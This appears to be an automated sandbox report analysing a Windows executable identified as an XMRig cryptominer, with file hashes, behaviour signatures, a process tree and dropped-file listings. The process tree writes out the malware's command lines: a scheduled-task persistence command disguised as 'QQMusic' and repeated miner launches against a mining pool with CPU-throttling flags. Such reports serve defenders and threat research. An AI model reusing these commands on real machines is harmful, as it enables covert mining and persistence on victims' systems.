Analysis

  • max time kernel
    150s
  • max time network
    148s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240611-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240611-enlocale:en-usos:windows10-2004-x64system
  • submitted
    14-06-2024 09:42

General

  • Target

    a2af48a018c65d34b445bd35bdd1b597.exe

  • Size

    9.0MB

  • MD5

    a2af48a018c65d34b445bd35bdd1b597

  • SHA1

    76daedc184a0cb9a717fc49f86a57b5baed0a35c

  • SHA256

    d6350d8a664b3585108ee2b6f04f031d478e97a53962786b18e4780a3ca3da60

  • SHA512

    d8def07a8accdb65b6b9dfc3168981b600a78310ec06cb626fcd000e7bcc4627ff5be7fc9f26992838226d84982ddd470d9ac89e041727e72b738a61bec61319

  • SSDEEP

    196608:rhHMBGC3PtXtT+Was8ywq1wo9JoYx5JAMdJOnZTG1IvQSaKe6NZOn:r2G0jwuwasMdJOnZKVSaaNZOn

Malware Config

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 15 IoCs
  • Executes dropped EXE 17 IoCs
  • UPX packed file 17 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Adds Run key to start application 2 TTPs 2 IoCs
  • Enumerates connected drives 3 TTPs 1 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 2 IoCs

    Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Gathers network information 2 TTPs 4 IoCs

    Uses commandline utility to view network configuration.

  • Kills process with taskkill 8 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 46 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\a2af48a018c65d34b445bd35bdd1b597.exe
    "C:\Users\Admin\AppData\Local\Temp\a2af48a018c65d34b445bd35bdd1b597.exe"
    1⤵
    • Adds Run key to start application
    • Enumerates connected drives
    • Checks for VirtualBox DLLs, possible anti-VM trick
    • Checks processor information in registry
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3484
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c schtasks /create /sc minute /mo 1 /tn "QQMusic" /tr C:\Users\Admin\AppData\Local\Temp\a2af48a018c65d34b445bd35bdd1b597.exe /F
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3184
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks /create /sc minute /mo 1 /tn "QQMusic" /tr C:\Users\Admin\AppData\Local\Temp\a2af48a018c65d34b445bd35bdd1b597.exe /F
        3⤵
        • Creates scheduled task(s)
        PID:5048
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c taskkill /f /im 2HIf.exe&&exit
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:5072
      • C:\Windows\SysWOW64\taskkill.exe
        taskkill /f /im 2HIf.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:1256
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c ipconfig /flushdns
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2380
      • C:\Windows\SysWOW64\ipconfig.exe
        ipconfig /flushdns
        3⤵
        • Gathers network information
        PID:2376
    • C:\ProgramData\2HIf.exe
      C:\ProgramData\2HIf.exe -o stratum+tcp://auto.c3pool.org:19999 -u L -p 1 --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:3440
    • C:\ProgramData\SMB.exe
      C:\ProgramData\SMB.exe
      2⤵
      • Executes dropped EXE
      PID:4840
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c taskkill /f /im 2HIf.exe&&exit
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:744
      • C:\Windows\SysWOW64\taskkill.exe
        taskkill /f /im 2HIf.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:972
    • C:\ProgramData\2HIf.exe
      C:\ProgramData\2HIf.exe -o stratum+tcp://auto.c3pool.org:19999 -u L -p 1 --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:440
    • C:\ProgramData\2HIf.exe
      C:\ProgramData\2HIf.exe -o stratum+tcp://auto.c3pool.org:19999 -u L -p 1 --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:3312
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c ipconfig /flushdns
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2240
      • C:\Windows\SysWOW64\ipconfig.exe
        ipconfig /flushdns
        3⤵
        • Gathers network information
        PID:4620
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c taskkill /f /im 2HIf.exe&&exit
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:5428
      • C:\Windows\SysWOW64\taskkill.exe
        taskkill /f /im 2HIf.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:5548
    • C:\ProgramData\2HIf.exe
      C:\ProgramData\2HIf.exe -o stratum+tcp://auto.c3pool.org:19999 -u L -p 1 --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:5480
    • C:\ProgramData\2HIf.exe
      C:\ProgramData\2HIf.exe -o stratum+tcp://auto.c3pool.org:19999 -u L -p 1 --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:5724
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c taskkill /f /im 2HIf.exe&&exit
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:6352
      • C:\Windows\SysWOW64\taskkill.exe
        taskkill /f /im 2HIf.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:6448
    • C:\ProgramData\2HIf.exe
      C:\ProgramData\2HIf.exe -o stratum+tcp://auto.c3pool.org:19999 -u L -p 1 --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:6392
    • C:\ProgramData\2HIf.exe
      C:\ProgramData\2HIf.exe -o stratum+tcp://auto.c3pool.org:19999 -u L -p 1 --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:6532
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c taskkill /f /im 2HIf.exe&&exit
      2⤵
        PID:6724
        • C:\Windows\SysWOW64\taskkill.exe
          taskkill /f /im 2HIf.exe
          3⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:6820
      • C:\ProgramData\2HIf.exe
        C:\ProgramData\2HIf.exe -o stratum+tcp://auto.c3pool.org:19999 -u L -p 1 --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K
        2⤵
        • Executes dropped EXE
        PID:6764
      • C:\ProgramData\2HIf.exe
        C:\ProgramData\2HIf.exe -o stratum+tcp://auto.c3pool.org:19999 -u L -p 1 --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K
        2⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        PID:6880
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c ipconfig /flushdns
        2⤵
          PID:5824
          • C:\Windows\SysWOW64\ipconfig.exe
            ipconfig /flushdns
            3⤵
            • Gathers network information
            PID:5776
        • C:\Windows\SysWOW64\cmd.exe
          cmd /c taskkill /f /im 2HIf.exe&&exit
          2⤵
            PID:6472
            • C:\Windows\SysWOW64\taskkill.exe
              taskkill /f /im 2HIf.exe
              3⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:6584
          • C:\ProgramData\2HIf.exe
            C:\ProgramData\2HIf.exe -o stratum+tcp://auto.c3pool.org:19999 -u L -p 1 --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K
            2⤵
            • Executes dropped EXE
            • Suspicious use of AdjustPrivilegeToken
            PID:6356
          • C:\ProgramData\2HIf.exe
            C:\ProgramData\2HIf.exe -o stratum+tcp://auto.c3pool.org:19999 -u L -p 1 --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K
            2⤵
            • Executes dropped EXE
            • Suspicious use of AdjustPrivilegeToken
            PID:6608
          • C:\Windows\SysWOW64\cmd.exe
            cmd /c taskkill /f /im 2HIf.exe&&exit
            2⤵
              PID:6788
              • C:\Windows\SysWOW64\taskkill.exe
                taskkill /f /im 2HIf.exe
                3⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:2512
            • C:\ProgramData\2HIf.exe
              C:\ProgramData\2HIf.exe -o stratum+tcp://auto.c3pool.org:19999 -u L -p 1 --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K
              2⤵
              • Executes dropped EXE
              • Suspicious use of AdjustPrivilegeToken
              PID:6748
            • C:\ProgramData\2HIf.exe
              C:\ProgramData\2HIf.exe -o stratum+tcp://auto.c3pool.org:19999 -u L -p 1 --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K
              2⤵
              • Executes dropped EXE
              • Suspicious use of AdjustPrivilegeToken
              PID:5824
            • C:\Windows\SysWOW64\cmd.exe
              cmd /c ipconfig /flushdns
              2⤵
                PID:1780
                • C:\Windows\SysWOW64\ipconfig.exe
                  ipconfig /flushdns
                  3⤵
                  • Gathers network information
                  PID:2268
              • C:\Windows\SysWOW64\cmd.exe
                cmd /c taskkill /f /im 2HIf.exe&&exit
                2⤵
                  PID:6436
                  • C:\Windows\SysWOW64\taskkill.exe
                    taskkill /f /im 2HIf.exe
                    3⤵
                    • Kills process with taskkill
                    • Suspicious use of AdjustPrivilegeToken
                    PID:6508
                • C:\ProgramData\2HIf.exe
                  C:\ProgramData\2HIf.exe -o stratum+tcp://auto.c3pool.org:19999 -u L -p 1 --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K
                  2⤵
                  • Executes dropped EXE
                  • Suspicious use of AdjustPrivilegeToken
                  PID:6932
                • C:\ProgramData\2HIf.exe
                  C:\ProgramData\2HIf.exe -o stratum+tcp://auto.c3pool.org:19999 -u L -p 1 --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K
                  2⤵
                  • Executes dropped EXE
                  • Suspicious use of AdjustPrivilegeToken
                  PID:6616
              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=4512,i,1400471177590024469,587385956640537806,262144 --variations-seed-version --mojo-platform-channel-handle=4112 /prefetch:8
                1⤵
                  PID:3312
                • C:\Users\Admin\AppData\Local\Temp\a2af48a018c65d34b445bd35bdd1b597.exe
                  C:\Users\Admin\AppData\Local\Temp\a2af48a018c65d34b445bd35bdd1b597.exe
                  1⤵
                  • Executes dropped EXE
                  • Checks for VirtualBox DLLs, possible anti-VM trick
                  PID:2932

                Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                • C:\ProgramData\2HIf.exe

                  Filesize

                  1.3MB

                  MD5

                  23d84a7ed2e8e76d0a13197b74913654

                  SHA1

                  23d04ba674bafbad225243dc81ce7eccd744a35a

                  SHA256

                  ac530d542a755ecce6a656ea6309717ec222c34d7e34c61792f3b350a8a29301

                  SHA512

                  aa6b0100d477214d550b6498787190fc1a8fafa7c478f9595d45e4e76ece9888b84dcca26696500d5710a9d1acae4810f2606d8962c46d31f2bdfcdd27bd675c

                • C:\ProgramData\SMB.exe

                  Filesize

                  3.1MB

                  MD5

                  7b2f170698522cd844e0423252ad36c1

                  SHA1

                  303ac0aaf0e9f48d4943e57d1ee6c757f2dd48c5

                  SHA256

                  5214f356f2e8640230e93a95633cd73945c38027b23e76bb5e617c71949f8994

                  SHA512

                  7155477e6988a16f6d12a0800ab72b9b9b64b97a509324ac0669cec2a4b82cd81b3481ae2c2d1ce65e73b017cebb56628d949d6195aac8f6ddd9625a80789dfa

                • C:\ProgramData\X64.dll

                  Filesize

                  85KB

                  MD5

                  06e587c2a788a7b34677cfa84f28205c

                  SHA1

                  f7d9397173a7df3e920170a36f082492527f4c58

                  SHA256

                  6171a8d94a095a76b8c3ba8a4112f1af81bac888abbfe691c55f00910c114a3b

                  SHA512

                  c8d0d6cb983f41beeac53989d81e9c8319d37445e5fe283def0b75b7a0c96b0aaaad080fa56774514ce6a46fa07741bb8c0115baebb7946a7ead236423fcface

                • C:\ProgramData\X86.dll

                  Filesize

                  71KB

                  MD5

                  f7bf3111cd1153bde61f76eda55658bf

                  SHA1

                  73a74a3f180a8ae7dfd96d38278453474ca28d29

                  SHA256

                  0e18ae38a12b9da25bf3501bb37870315fae938d397a1b4ab5797e275a528889

                  SHA512

                  d2070e3002a1f1abb94c82eb482cfc789c3fd0cdaabeb5e7b581543edc2a5e35803fcb3e18d9a8183a1b52bc87aa27340029471634389770659880633e6152ac

                • C:\Users\Admin\AppData\Local\Temp\a2af48a018c65d34b445bd35bdd1b597.exe

                  Filesize

                  9.0MB

                  MD5

                  a2af48a018c65d34b445bd35bdd1b597

                  SHA1

                  76daedc184a0cb9a717fc49f86a57b5baed0a35c

                  SHA256

                  d6350d8a664b3585108ee2b6f04f031d478e97a53962786b18e4780a3ca3da60

                  SHA512

                  d8def07a8accdb65b6b9dfc3168981b600a78310ec06cb626fcd000e7bcc4627ff5be7fc9f26992838226d84982ddd470d9ac89e041727e72b738a61bec61319

                • memory/440-141-0x00007FF6F4910000-0x00007FF6F4F54000-memory.dmp

                  Filesize

                  6.3MB

                • memory/3312-148-0x00007FF6F4910000-0x00007FF6F4F54000-memory.dmp

                  Filesize

                  6.3MB

                • memory/3440-8-0x00007FF6F4910000-0x00007FF6F4F54000-memory.dmp

                  Filesize

                  6.3MB

                • memory/3440-10-0x000002548E0B0000-0x000002548E0C4000-memory.dmp

                  Filesize

                  80KB

                • memory/3440-138-0x00007FF6F4910000-0x00007FF6F4F54000-memory.dmp

                  Filesize

                  6.3MB

                • memory/3440-132-0x00007FF6F4910000-0x00007FF6F4F54000-memory.dmp

                  Filesize

                  6.3MB

                • memory/5480-152-0x00007FF6F4910000-0x00007FF6F4F54000-memory.dmp

                  Filesize

                  6.3MB

                • memory/5724-156-0x00007FF6F4910000-0x00007FF6F4F54000-memory.dmp

                  Filesize

                  6.3MB

                • memory/5824-194-0x00007FF6F4910000-0x00007FF6F4F54000-memory.dmp

                  Filesize

                  6.3MB

                • memory/6356-182-0x00007FF6F4910000-0x00007FF6F4F54000-memory.dmp

                  Filesize

                  6.3MB

                • memory/6392-160-0x00007FF6F4910000-0x00007FF6F4F54000-memory.dmp

                  Filesize

                  6.3MB

                • memory/6532-164-0x00007FF6F4910000-0x00007FF6F4F54000-memory.dmp

                  Filesize

                  6.3MB

                • memory/6608-186-0x00007FF6F4910000-0x00007FF6F4F54000-memory.dmp

                  Filesize

                  6.3MB

                • memory/6748-190-0x00007FF6F4910000-0x00007FF6F4F54000-memory.dmp

                  Filesize

                  6.3MB

                • memory/6764-168-0x00007FF6F4910000-0x00007FF6F4F54000-memory.dmp

                  Filesize

                  6.3MB

                • memory/6880-179-0x00007FF6F4910000-0x00007FF6F4F54000-memory.dmp

                  Filesize

                  6.3MB

                • memory/6932-198-0x00007FF6F4910000-0x00007FF6F4F54000-memory.dmp

                  Filesize

                  6.3MB